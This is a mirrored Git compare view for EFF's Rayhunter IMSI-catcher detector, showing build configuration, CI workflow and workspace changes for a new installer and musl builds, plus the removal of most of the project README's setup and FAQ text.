mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-05-31 02:03:35 -07:00
Compare commits
100 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d58881c1f5 | |||
| 4e16c7f9ce | |||
| c6d0cccb76 | |||
| f2d32512aa | |||
| e463d40c07 | |||
| c8edacf1ed | |||
| ce8260b92c | |||
| d6e4f6a71d | |||
| a2269fb5f7 | |||
| 1c4e9b8499 | |||
| fce30a78a2 | |||
| 6a16ad7f15 | |||
| ec5bd81a70 | |||
| fbce9c8b04 | |||
| 92b825a9e3 | |||
| c285e2ca08 | |||
| 4a7452806d | |||
| 2e85d4f186 | |||
| e3acfe9144 | |||
| 7418cc19b3 | |||
| cc72f1eabc | |||
| e071bc6619 | |||
| 60015e0ff6 | |||
| bbcf23899e | |||
| c97212cdc8 | |||
| 894f457751 | |||
| da34c05364 | |||
| 30d62b8d7b | |||
| 1f7b7f0f1a | |||
| da53ec9df2 | |||
| 0beff5ea63 | |||
| a946ebbe92 | |||
| 64a87534ee | |||
| 4a94545498 | |||
| 9e532ac975 | |||
| 35e3c80313 | |||
| 221c3591fd | |||
| cf0061fe53 | |||
| 5bd2909c0d | |||
| 3e1eb9d5e6 | |||
| adfe081eaf | |||
| f165dddd0c | |||
| 214375ead2 | |||
| 0d4514a332 | |||
| 5180205144 | |||
| 5ed1a9bae3 | |||
| abc3c07201 | |||
| 98ee6dacf8 | |||
| a9f1284fa6 | |||
| d31bf45f95 | |||
| 8e8a28ae26 | |||
| a7a5221c90 | |||
| 469a716b7c | |||
| c569101c36 | |||
| b9945827c4 | |||
| f97bc56f2c | |||
| 55ba316046 | |||
| 5ae6f0c5ce | |||
| 7e1b410f89 | |||
| 32b67df55d | |||
| a8087c6840 | |||
| f2028a704f | |||
| e04b78f0e0 | |||
| ece589331f | |||
| b95ff90e5e | |||
| 33745bc4e2 | |||
| 73682240d6 | |||
| 43324c0ad7 | |||
| f559e10d44 | |||
| f28022920a | |||
| 63b07b83f5 | |||
| 934e0d70d8 | |||
| 769826dcea | |||
| e4bfa7a1f3 | |||
| d95da9b382 | |||
| f72194ab3e | |||
| 3b1547c749 | |||
| af17788a36 | |||
| 1a8010964e | |||
| d3f70fee01 | |||
| 2ee4ab5082 | |||
| 7708efd0c9 | |||
| 6b15f807df | |||
| 0a1f9f4de1 | |||
| fb1d550793 | |||
| 2fc0144905 | |||
| fb1657676e | |||
| bb5c288c2f | |||
| d63f419fbc | |||
| a33c7511eb | |||
| c4b2c3bbe2 | |||
| d9c58129ff | |||
| 41d3b4ed39 | |||
| 4113b71baf | |||
| 4f0bc3ad93 | |||
| cf2d406d88 | |||
| 057c9acb40 | |||
| 57b0455363 | |||
| fa96520fe5 | |||
| a269a45244 |
@@ -1,7 +1,28 @@
|
|||||||
|
[target.aarch64-apple-darwin]
|
||||||
|
linker = "rust-lld"
|
||||||
|
rustflags = ["-C", "target-feature=+crt-static"]
|
||||||
|
|
||||||
|
[target.aarch64-unknown-linux-musl]
|
||||||
|
linker = "rust-lld"
|
||||||
|
rustflags = ["-C", "target-feature=+crt-static"]
|
||||||
|
|
||||||
|
# apt install build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
|
||||||
[target.armv7-unknown-linux-gnueabihf]
|
[target.armv7-unknown-linux-gnueabihf]
|
||||||
linker = "arm-linux-gnueabihf-gcc"
|
linker = "arm-linux-gnueabihf-gcc"
|
||||||
rustflags = ["-C", "target-feature=+crt-static"]
|
rustflags = ["-C", "target-feature=+crt-static"]
|
||||||
|
|
||||||
|
[target.armv7-unknown-linux-musleabihf]
|
||||||
|
linker = "rust-lld"
|
||||||
|
rustflags = ["-C", "target-feature=+crt-static"]
|
||||||
|
|
||||||
|
[target.x86_64-apple-darwin]
|
||||||
|
linker = "rust-lld"
|
||||||
|
rustflags = ["-C", "target-feature=+crt-static"]
|
||||||
|
|
||||||
|
[target.x86_64-unknown-linux-musl]
|
||||||
|
linker = "rust-lld"
|
||||||
|
rustflags = ["-C", "target-feature=+crt-static"]
|
||||||
|
|
||||||
# optimizations to reduce the binary size
|
# optimizations to reduce the binary size
|
||||||
[profile.release]
|
[profile.release]
|
||||||
strip = true
|
strip = true
|
||||||
|
|||||||
@@ -1,62 +0,0 @@
|
|||||||
name: Bug Report
|
|
||||||
description: File a bug report.
|
|
||||||
title: "[Bug]: "
|
|
||||||
type: Bug
|
|
||||||
body:
|
|
||||||
- type: markdown
|
|
||||||
attributes:
|
|
||||||
value: |
|
|
||||||
Thanks for taking the time to fill out this bug report!
|
|
||||||
- type: input
|
|
||||||
attributes:
|
|
||||||
label: Rayhunter Version
|
|
||||||
description: |
|
|
||||||
Which version did you install?
|
|
||||||
placeholder: v0.2.6
|
|
||||||
- type: input
|
|
||||||
attributes:
|
|
||||||
label: Capture Date
|
|
||||||
description: |
|
|
||||||
YYYY-MM-DD
|
|
||||||
placeholder: 2025-05-01
|
|
||||||
validations:
|
|
||||||
required: true
|
|
||||||
- type: input
|
|
||||||
attributes:
|
|
||||||
label: Capture Location
|
|
||||||
description: |
|
|
||||||
(If comfortable disclosing) What region or country were you in?
|
|
||||||
placeholder: Washington State
|
|
||||||
validations:
|
|
||||||
required: false
|
|
||||||
- type: input
|
|
||||||
attributes:
|
|
||||||
label: Device and Model
|
|
||||||
description: |
|
|
||||||
Device you installed Rayhunter on to.
|
|
||||||
placeholder: Orbic RC400L
|
|
||||||
validations:
|
|
||||||
required: true
|
|
||||||
- type: textarea
|
|
||||||
id: what-happened
|
|
||||||
attributes:
|
|
||||||
label: What happened?
|
|
||||||
description: |
|
|
||||||
What steps did you take to get to your issue?
|
|
||||||
placeholder: Tell us what you see!
|
|
||||||
validations:
|
|
||||||
required: true
|
|
||||||
- type: textarea
|
|
||||||
id: expected
|
|
||||||
attributes:
|
|
||||||
label: Expected behavior
|
|
||||||
description: Rayhunter's behavior differed from what I expected because.
|
|
||||||
placeholder: "What was expected?"
|
|
||||||
validations:
|
|
||||||
required: true
|
|
||||||
- type: textarea
|
|
||||||
id: logs
|
|
||||||
attributes:
|
|
||||||
label: Relevant log output
|
|
||||||
description: Rayhunter data captures (QMDL and PCAP logs) or error codes
|
|
||||||
render: shell
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
blank_issues_enabled: false
|
|
||||||
contact_links:
|
|
||||||
- name: Rayhunter Mattermost
|
|
||||||
url: https://opensource.eff.org/signup_user_complete/?id=6iqur37ucfrctfswrs14iscobw&md=link&sbr=su
|
|
||||||
about: If you're having trouble using Rayhunter and aren't sure you've found a bug or request for a new feature, please first try asking for help here. There is a much larger community there of people familiar with the project who will be able to more quickly answer your questions.
|
|
||||||
- name: Rayhunter Security Policy
|
|
||||||
url: https://github.com/EFForg/rayhunter/security/advisories/new
|
|
||||||
about: Please report security vulnerabilities here.
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
name: Feature Request
|
|
||||||
description: Suggest a new feature or improvement to Rayhunter
|
|
||||||
title: "[Feature Request]: "
|
|
||||||
labels: ["enhancement"]
|
|
||||||
body:
|
|
||||||
- type: textarea
|
|
||||||
id: problem
|
|
||||||
attributes:
|
|
||||||
label: What problem does this feature solve or what does it enhance?
|
|
||||||
description: Explain what this feature addresses, ors the benefit it provides.
|
|
||||||
placeholder: For example, "Currently, users have to manually do X, which is time-consuming."
|
|
||||||
validations:
|
|
||||||
required: true
|
|
||||||
- type: textarea
|
|
||||||
id: solution
|
|
||||||
attributes:
|
|
||||||
label: Proposed Solution
|
|
||||||
description: Describe the solution you'd like to see implemented.
|
|
||||||
placeholder: For example, "Implement a new button that automatically does X."
|
|
||||||
validations:
|
|
||||||
required: true
|
|
||||||
- type: textarea
|
|
||||||
id: alternatives
|
|
||||||
attributes:
|
|
||||||
label: Alternatives Considered
|
|
||||||
description: Have you considered any alternative solutions?
|
|
||||||
placeholder: For example, "We considered Y, but Z is a better approach because..."
|
|
||||||
@@ -4,13 +4,16 @@ on:
|
|||||||
push:
|
push:
|
||||||
branches: [main, "release-*"]
|
branches: [main, "release-*"]
|
||||||
pull_request:
|
pull_request:
|
||||||
branches: [ "main" ]
|
branches: ["main"]
|
||||||
|
|
||||||
env:
|
env:
|
||||||
CARGO_TERM_COLOR: always
|
CARGO_TERM_COLOR: always
|
||||||
|
FILE_ROOTSHELL: ../../rootshell/rootshell
|
||||||
|
FILE_RAYHUNTER_DAEMON_ORBIC: ../../rayhunter-daemon-orbic/rayhunter-daemon
|
||||||
|
FILE_RAYHUNTER_DAEMON_TPLINK: ../../rayhunter-daemon-tplink/rayhunter-daemon
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
build_serial_and_check:
|
build_rayhunter_check:
|
||||||
strategy:
|
strategy:
|
||||||
matrix:
|
matrix:
|
||||||
platform:
|
platform:
|
||||||
@@ -32,18 +35,7 @@ jobs:
|
|||||||
runs-on: ${{ matrix.platform.os }}
|
runs-on: ${{ matrix.platform.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
- name: Build rayhunter-check
|
||||||
with:
|
|
||||||
targets: ${{ matrix.platform.target }}
|
|
||||||
- name: Build serial
|
|
||||||
run: cargo build --bin serial --release --target ${{ matrix.platform.target }}
|
|
||||||
- uses: actions/upload-artifact@v4
|
|
||||||
with:
|
|
||||||
name: serial-${{ matrix.platform.name }}
|
|
||||||
path: target/${{ matrix.platform.target }}/release/serial${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
|
|
||||||
if-no-files-found: error
|
|
||||||
- uses: actions/checkout@v4
|
|
||||||
- name: Build check
|
|
||||||
run: cargo build --bin rayhunter-check --release
|
run: cargo build --bin rayhunter-check --release
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
@@ -56,18 +48,13 @@ jobs:
|
|||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
- uses: dtolnay/rust-toolchain@stable
|
||||||
with:
|
with:
|
||||||
targets: armv7-unknown-linux-gnueabihf
|
targets: armv7-unknown-linux-musleabihf
|
||||||
- name: Install cross-compilation dependencies
|
|
||||||
uses: awalsh128/cache-apt-pkgs-action@latest
|
|
||||||
with:
|
|
||||||
packages: build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
|
|
||||||
version: 1.0
|
|
||||||
- name: Build rootshell (arm32)
|
- name: Build rootshell (arm32)
|
||||||
run: cargo build --bin rootshell --target armv7-unknown-linux-gnueabihf --release
|
run: cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --release
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: rootshell
|
name: rootshell
|
||||||
path: target/armv7-unknown-linux-gnueabihf/release/rootshell
|
path: target/armv7-unknown-linux-musleabihf/release/rootshell
|
||||||
if-no-files-found: error
|
if-no-files-found: error
|
||||||
build_rayhunter:
|
build_rayhunter:
|
||||||
strategy:
|
strategy:
|
||||||
@@ -75,44 +62,93 @@ jobs:
|
|||||||
device:
|
device:
|
||||||
- name: tplink
|
- name: tplink
|
||||||
- name: orbic
|
- name: orbic
|
||||||
|
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- uses: dtolnay/rust-toolchain@stable
|
- uses: dtolnay/rust-toolchain@stable
|
||||||
with:
|
with:
|
||||||
targets: armv7-unknown-linux-gnueabihf
|
targets: armv7-unknown-linux-musleabihf
|
||||||
- name: Install cross-compilation dependencies
|
|
||||||
uses: awalsh128/cache-apt-pkgs-action@latest
|
|
||||||
with:
|
|
||||||
packages: build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
|
|
||||||
version: 1.0
|
|
||||||
- name: Build rayhunter-daemon (arm32)
|
- name: Build rayhunter-daemon (arm32)
|
||||||
run: cargo build --bin rayhunter-daemon --target armv7-unknown-linux-gnueabihf --release --no-default-features --features ${{ matrix.device.name }}
|
run: |
|
||||||
|
pushd bin/web
|
||||||
|
npm install
|
||||||
|
npm run build
|
||||||
|
popd
|
||||||
|
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release --no-default-features --features ${{ matrix.device.name }}
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: rayhunter-daemon-${{ matrix.device.name }}
|
name: rayhunter-daemon-${{ matrix.device.name }}
|
||||||
path: target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon
|
path: target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon
|
||||||
if-no-files-found: error
|
if-no-files-found: error
|
||||||
|
build_rust_installer:
|
||||||
|
needs:
|
||||||
|
- build_rayhunter
|
||||||
|
strategy:
|
||||||
|
matrix:
|
||||||
|
platform:
|
||||||
|
- name: ubuntu-24
|
||||||
|
os: ubuntu-latest
|
||||||
|
target: x86_64-unknown-linux-musl
|
||||||
|
- name: ubuntu-24-aarch64
|
||||||
|
os: ubuntu-24.04-arm
|
||||||
|
target: aarch64-unknown-linux-musl
|
||||||
|
- name: macos-arm
|
||||||
|
os: macos-latest
|
||||||
|
target: aarch64-apple-darwin
|
||||||
|
- name: macos-intel
|
||||||
|
os: macos-13
|
||||||
|
target: x86_64-apple-darwin
|
||||||
|
- name: windows-x86_64
|
||||||
|
os: windows-latest
|
||||||
|
target: x86_64-pc-windows-gnu
|
||||||
|
runs-on: ${{ matrix.platform.os }}
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- uses: actions/download-artifact@v4
|
||||||
|
- uses: dtolnay/rust-toolchain@stable
|
||||||
|
with:
|
||||||
|
targets: ${{ matrix.platform.target }}
|
||||||
|
- run: cargo build --bin installer --release --target ${{ matrix.platform.target }}
|
||||||
|
- uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: installer-${{ matrix.platform.name }}
|
||||||
|
path: target/${{ matrix.platform.target }}/release/installer${{ matrix.platform.os == 'windows-latest' && '.exe' || '' }}
|
||||||
|
if-no-files-found: error
|
||||||
|
|
||||||
build_release_zip:
|
build_release_zip:
|
||||||
needs:
|
needs:
|
||||||
- build_serial_and_check
|
- build_rayhunter_check
|
||||||
- build_rootshell
|
- build_rootshell
|
||||||
- build_rayhunter
|
- build_rayhunter
|
||||||
|
- build_rust_installer
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- uses: actions/download-artifact@v4
|
- uses: actions/download-artifact@v4
|
||||||
- name: Fix executable permissions on binaries
|
- name: Fix executable permissions on binaries
|
||||||
run: chmod +x serial-*/serial rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
|
run: chmod +x installer-*/installer rayhunter-check-*/rayhunter-check rayhunter-daemon-*/rayhunter-daemon
|
||||||
- name: Setup release directory
|
- name: Get Rayhunter version
|
||||||
run: mv rayhunter-daemon-* rootshell/rootshell serial-* dist
|
id: get_version
|
||||||
- name: Archive release directory
|
run: echo "VERSION=$(grep '^version' bin/Cargo.toml | head -n 1 | cut -d'"' -f2)" >> $GITHUB_ENV
|
||||||
run: tar -cvf release.tar -C dist .
|
- name: Setup versioned release directory
|
||||||
|
run: |
|
||||||
|
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||||
|
mkdir "$VERSIONED_DIR"
|
||||||
|
mv rayhunter-daemon-* rootshell/rootshell installer-* "$VERSIONED_DIR"/
|
||||||
|
- name: Archive release directory as zip
|
||||||
|
run: |
|
||||||
|
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||||
|
zip -r "$VERSIONED_DIR.zip" "$VERSIONED_DIR"
|
||||||
|
- name: Compute SHA256 of zip
|
||||||
|
run: |
|
||||||
|
VERSIONED_DIR="rayhunter-v${{ env.VERSION }}"
|
||||||
|
sha256sum "$VERSIONED_DIR.zip" > "$VERSIONED_DIR.zip.sha256"
|
||||||
# TODO: have this create a release directly
|
# TODO: have this create a release directly
|
||||||
- name: Upload release
|
- name: Upload zip release and sha256
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: release.tar
|
name: rayhunter-v${{ env.VERSION }}
|
||||||
path: release.tar
|
path: |
|
||||||
|
rayhunter-v${{ env.VERSION }}.zip
|
||||||
|
rayhunter-v${{ env.VERSION }}.zip.sha256
|
||||||
if-no-files-found: error
|
if-no-files-found: error
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ on:
|
|||||||
|
|
||||||
env:
|
env:
|
||||||
CARGO_TERM_COLOR: always
|
CARGO_TERM_COLOR: always
|
||||||
|
NO_FIRMWARE_BIN: true
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
check_and_test:
|
check_and_test:
|
||||||
@@ -21,21 +22,33 @@ jobs:
|
|||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
- name: Check
|
- name: Check
|
||||||
run: cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
|
run: |
|
||||||
|
pushd bin/web
|
||||||
|
npm install
|
||||||
|
npm run build
|
||||||
|
popd
|
||||||
|
cargo check --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||||
- name: Run tests
|
- name: Run tests
|
||||||
run: cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
|
run: |
|
||||||
|
pushd bin/web
|
||||||
|
npm install
|
||||||
|
npm run build
|
||||||
|
popd
|
||||||
|
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||||
|
- name: Run clippy
|
||||||
|
run: cargo clippy --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||||
|
|
||||||
windows_serial_check_and_test:
|
windows_installer_check_and_test:
|
||||||
runs-on: windows-latest
|
runs-on: windows-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
- name: cargo check
|
- name: cargo check
|
||||||
shell: bash
|
shell: bash
|
||||||
run: |
|
run: |
|
||||||
cd serial
|
cd installer
|
||||||
cargo check --verbose
|
cargo check --verbose
|
||||||
- name: cargo test
|
- name: cargo test
|
||||||
shell: bash
|
shell: bash
|
||||||
run: |
|
run: |
|
||||||
cd serial
|
cd installer
|
||||||
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
|
cargo test --verbose --no-default-features --features=${{ matrix.device.name }}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
# On Repository Settings > Pages > Build and deployment
|
||||||
|
# Set "Source" to GitHub Actions.
|
||||||
|
name: Documentation
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: ["main"]
|
||||||
|
pull_request:
|
||||||
|
branches: ["main"]
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
mdbook_test:
|
||||||
|
name: Test mdBook Documentation builds
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Install mdBook
|
||||||
|
run: |
|
||||||
|
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
||||||
|
- name: Test mdBook
|
||||||
|
run: mdbook test
|
||||||
|
|
||||||
|
mdbook_publish:
|
||||||
|
if: ${{ github.event_name != 'pull_request' }}
|
||||||
|
needs: mdbook_test
|
||||||
|
permissions:
|
||||||
|
pages: write
|
||||||
|
contents: write
|
||||||
|
id-token: write
|
||||||
|
name: Publish mdBook to Github Pages
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Install mdBook
|
||||||
|
run: |
|
||||||
|
cargo install mdbook --no-default-features --features search --vers "^0.4" --locked
|
||||||
|
|
||||||
|
- name: Build mdBook
|
||||||
|
run: mdbook build
|
||||||
|
|
||||||
|
- name: Setup Pages
|
||||||
|
uses: actions/configure-pages@v4
|
||||||
|
- name: Upload artifact
|
||||||
|
uses: actions/upload-pages-artifact@v3
|
||||||
|
with:
|
||||||
|
path: book
|
||||||
|
- name: Deploy to Github Pages
|
||||||
|
uses: actions/deploy-pages@v4
|
||||||
@@ -1 +1,2 @@
|
|||||||
/target
|
/target
|
||||||
|
/book
|
||||||
|
|||||||
Generated
+2124
-455
File diff suppressed because it is too large
Load Diff
+1
-1
@@ -3,8 +3,8 @@
|
|||||||
members = [
|
members = [
|
||||||
"lib",
|
"lib",
|
||||||
"bin",
|
"bin",
|
||||||
"serial",
|
|
||||||
"rootshell",
|
"rootshell",
|
||||||
"telcom-parser",
|
"telcom-parser",
|
||||||
|
"installer",
|
||||||
]
|
]
|
||||||
resolver = "2"
|
resolver = "2"
|
||||||
|
|||||||
@@ -4,127 +4,4 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot.
|
Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
|
||||||
|
|
||||||
**THIS CODE IS A PROOF OF CONCEPT AND SHOULD NOT BE RELIED UPON IN HIGH RISK SITUATIONS!**
|
|
||||||
|
|
||||||
## The Hardware
|
|
||||||
|
|
||||||
Rayhunter has been built and tested for the Orbic RC400L mobile hotspot. It may work on other Orbics and other
|
|
||||||
Linux/Qualcom devices, but this is the only one we have tested on.
|
|
||||||
You can buy the orbic [using bezos bucks](https://www.amazon.com/Orbic-Verizon-Hotspot-Connect-Enabled/dp/B08N3CHC4Y),
|
|
||||||
or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
|
|
||||||
|
|
||||||
## Setup (Mac, Linux)
|
|
||||||
|
|
||||||
1. Download the latest `release.tar` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases)
|
|
||||||
2. Unzip the `release.tar`. Open the terminal and navigate to the folder
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd ~/Downloads/release
|
|
||||||
```
|
|
||||||
|
|
||||||
3. Turn on the Orbic device by holding the power button for 3 seconds. Plug it into your computer using a USB-C Cable.
|
|
||||||
4. Run the install script for your operating system:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
./install.sh
|
|
||||||
```
|
|
||||||
|
|
||||||
The device will restart multiple times over the next few minutes.
|
|
||||||
|
|
||||||
You will know it is done when you see terminal output that says `checking for rayhunter server...success!`
|
|
||||||
|
|
||||||
5. Rayhunter should now be running! You can verify this by following the instructions below to [view the web UI](#usage-viewing-the-web-ui). You should also see a green line flash along the top of top the display on the device.
|
|
||||||
|
|
||||||
### Installation Notes
|
|
||||||
|
|
||||||
* Note: If you are installing from the cloned GitHub repository please see the development instructions below, running `install.sh` from the git tree will not work.
|
|
||||||
* The install script has only been tested for Linux on the latest version of Ubuntu. If it fails you will need to follow the install steps outlined in **Development** below.
|
|
||||||
* On macOS if you encounter an error that says "No Orbic device found," it may because you the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
|
|
||||||
|
|
||||||
## Setup (Windows)
|
|
||||||
|
|
||||||
We don't currently support automated installs on Windows.
|
|
||||||
|
|
||||||
## Updating
|
|
||||||
|
|
||||||
Great news: if you've successfully installed rayhunter, you already know how to update it! Our update process is identical to the setup process: simply download the latest release and follow the steps in the [setup section](#setup-silicon-mac-linux).
|
|
||||||
|
|
||||||
## Usage (viewing the web UI)
|
|
||||||
|
|
||||||
Once installed, Rayhunter will run automatically whenever your Orbic device is running. You'll see a green line on top of the device's display to indicate that it's running and recording. [The line will turn red](#red) once a potential IMSI catcher has been found, until the device is rebooted or a new recording is started through the web UI.
|
|
||||||
|
|
||||||
It also serves a web UI that provides some basic controls, such as being able to start/stop recordings, download captures, and view heuristic analyses of captures.
|
|
||||||
|
|
||||||
You can access this UI in one of two ways:
|
|
||||||
|
|
||||||
1. **Connect over wifi:** Connect your phone/laptop to the Orbic's 2.4GHz wifi network and visit [http://192.168.1.1:8080](http://192.168.1.1:8080). (Click past your browser warning you about the connection not being secure, Rayhunter doesn't have HTTPS yet).
|
|
||||||
* You can find the wifi network password by going to the Orbic's menu > 2.4 GHz WIFI Info > Enter > find the 8-character password next to the lock 🔒 icon.
|
|
||||||
2. **Connect over USB:** Connect the Orbic device to your laptop via USB. Run `adb forward tcp:8080 tcp:8080`, then visit [http://localhost:8080](http://localhost:8080).
|
|
||||||
* For this you will need to install the Android Debug Bridge (ADB) on your computer, you can copy the version that was downloaded inside the `releases/platform-tools/` folder to somewhere else in your path or you can install it manually.
|
|
||||||
* You can find instructions for doing so on your platform [here](https://www.xda-developers.com/install-adb-windows-macos-linux/#how-to-set-up-adb-on-your-computer), (don't worry about instructions for installing it on a phone/device yet).
|
|
||||||
* On macOS, the easiest way to install ADB is with Homebrew: First [install Homebrew](https://brew.sh/), then run `brew install android-platform-tools`.
|
|
||||||
|
|
||||||
## Frequently Asked Questions
|
|
||||||
|
|
||||||
### Do I need an active SIM card to use Rayhunter?
|
|
||||||
|
|
||||||
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but whether that SIM card has to be currently active for our tests to work is still under investigation. If you want to use the device as a hotspot in addition to a research device an active plan would of course be necessary, however we have not done enough testing yet to know whether an active subscription is required for detection. If you want to test the device with an inactive SIM card, we would certainly be interested in seeing any data you collect, and especially any runs that trigger an alert!
|
|
||||||
|
|
||||||
<a name="red"></a>
|
|
||||||
|
|
||||||
### Help, Rayhunter's line is red! What should I do?
|
|
||||||
|
|
||||||
Unfortunately, the circumstances that might lead to a positive cell site simulator (CSS) signal are quite varied, so we don't have a universal recommendation for how to deal with the a positive signal. Depending on your circumstances and threat model, you may want to turn off your phone until you are out of the area (or put it on airplane mode) and tell your friends to do the same!
|
|
||||||
|
|
||||||
If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
|
|
||||||
|
|
||||||
Please note that this file may contain sensitive information such as your IMSI and the unique IDs of cell towers you were near which could be used to ascertain your location at the time.
|
|
||||||
|
|
||||||
### Does Rayhunter work outside of the US?
|
|
||||||
|
|
||||||
**Probably**. Some Rayhunter users have reported successfully using it in other countries with unlocked devices and SIM cards from local telcos. We can't guarantee whether or not it will work for you though.
|
|
||||||
|
|
||||||
### Should I get a locked or unlocked orbic device? What is the difference?
|
|
||||||
|
|
||||||
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
|
|
||||||
|
|
||||||
### Does Rayhunter work on any other devices besides the Orbic RC400L?
|
|
||||||
|
|
||||||
**Maybe**. We have not tested Rayhunter on any other hardware but we would love to expand the supported platforms. We will consider giving official support to any hardware platform that can be bought for around $20-30USD. The Rayhunter daemon should theoretically work on any Linux/Android device that has a qualcomm chip with a `/dev/diag` interface and root access, though our installer script has only been tested with an Orbic. If you get it working on another device, please let us know!
|
|
||||||
|
|
||||||
### How do I delete capture files from the Rayhunter device?
|
|
||||||
|
|
||||||
You can get a shell on the device by inputting `adb shell` to a terminal with the device connected, you can check if it is detected with `adb devices`.
|
|
||||||
The capture files are located at */data/rayhunter/qmdl* but you will need root access to modify or delete them. From the adb shell run `/bin/rootshell` and you can now use commands like 'rm' as root to modify and delete entries in the */data/rayhunter/qmdl* directory. **Be careful not to delete important files in other directories as you may seriously damage the device**
|
|
||||||
|
|
||||||
## Development
|
|
||||||
|
|
||||||
Follow these instructions if you need to build Rayhunter from source rather than using our [compiled builds](https://github.com/EFForg/rayhunter/releases).
|
|
||||||
|
|
||||||
* Install ADB on your computer using the instructions above, and make sure it's in your terminal's PATH
|
|
||||||
* You can verify if ADB is in your PATH by running `which adb` in a terminal. If it prints the filepath to where ADB is installed, you're set! Otherwise, try following one of these guides:
|
|
||||||
* [linux](https://askubuntu.com/questions/652936/adding-android-sdk-platform-tools-to-path-downloaded-from-umake)
|
|
||||||
* [macOS](https://www.repeato.app/setting-up-adb-on-macos-a-step-by-step-guide/)
|
|
||||||
* [Windows](https://medium.com/@yadav-ajay/a-step-by-step-guide-to-setting-up-adb-path-on-windows-0b833faebf18)
|
|
||||||
|
|
||||||
### If you're on x86 linux
|
|
||||||
|
|
||||||
Install Rust the usual way and then install cross compiling dependences:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
sudo apt install curl build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
|
|
||||||
rustup target add x86_64-unknown-linux-gnu
|
|
||||||
rustup target add armv7-unknown-linux-gnueabihf
|
|
||||||
```
|
|
||||||
|
|
||||||
Now you can root your device and install Rayhunter by running `./tools/install-dev.sh`
|
|
||||||
|
|
||||||
## Support and Discussion
|
|
||||||
|
|
||||||
